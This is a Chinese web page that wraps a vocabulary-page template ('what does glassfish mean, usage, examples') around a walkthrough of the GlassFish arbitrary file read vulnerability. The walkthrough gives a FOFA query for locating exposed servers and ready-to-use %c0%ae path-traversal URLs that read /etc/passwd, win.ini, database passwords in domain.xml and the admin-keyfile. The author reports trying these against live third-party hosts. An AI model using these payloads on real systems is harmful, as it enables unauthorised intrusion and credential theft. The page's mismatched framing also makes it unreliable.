您的位置 首页 > 德语词汇

glassfish是什么意思?用法、例句(glassfish任意文件读取漏洞)

老铁们,大家好,相信还有很多朋友对于glassfish是什么意思?用法、例句和glassfish任意文件读取漏洞的相关问题不太懂,没关系,今天就由我来为大家分享分享glassfish是什么意思?用法、例句以及glassfish任意文件读取漏洞的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!

??GlassFish是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

??任意文件读取:可以利用此漏洞读取到受害机的任意文件。

glassfish是什么意思?用法、例句(glassfish任意文件读取漏洞)

??GlassFish漏洞成因:java语义中会把"%c0%ae"解析为"\\uC0AE",最后转义为ASCCII字符的"."(点)。

??FOFA:“GlassFish”&&port=“4848”

??GlassFish<4.1.1(不含4.1.1)

??这里直接使用fofa语法进行搜索,这里是发现一个国外的地址,需要注意的是看版本,版本不要搞错了。

Windows:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

Linux:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

??需要注意的是后面跟着的路径是有所不同的,比如Linux系统使用时的/ect/passwd而Windows则是/windows/win.ini。当然这个路径也可以替换,并非一定使用这个路径。

https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd2.3.GlassFish的敏感目录

domains/domain1/config/domain.xml各种数据库密码位置\ndomains/domain1/config/admin-keyfile后台密码存储位置2.3.1.获取数据库密码

https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml2.3.2.获取GlassFish的后台密码

https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile

这里得出的密码是以sha256的密文加密的方式,需要在相关的平台进行解密,我找了半天也没找到相关的解密办法,同时也未解码成功。

??脚本地址:POC脚本GitHub-everybelief/glassfish_poc:glassfish_poc

??这个脚本用法上面都有介绍,我这边从fofa中找了几个手动测试了一下,以及使用脚本测试了一下,没搞懂,手动测试是存在的,但是脚本测试好像是没检测到。不知道是不是存在一些误差。

OK,关于glassfish是什么意思?用法、例句和glassfish任意文件读取漏洞的内容到此结束了,希望对大家有所帮助。

本站涵盖的内容、图片、视频等数据,部分未能与原作者取得联系。若涉及版权问题,请及时通知我们并提供相关证明材料,我们将及时予以删除!谢谢大家的理解与支持!

Copyright © 2023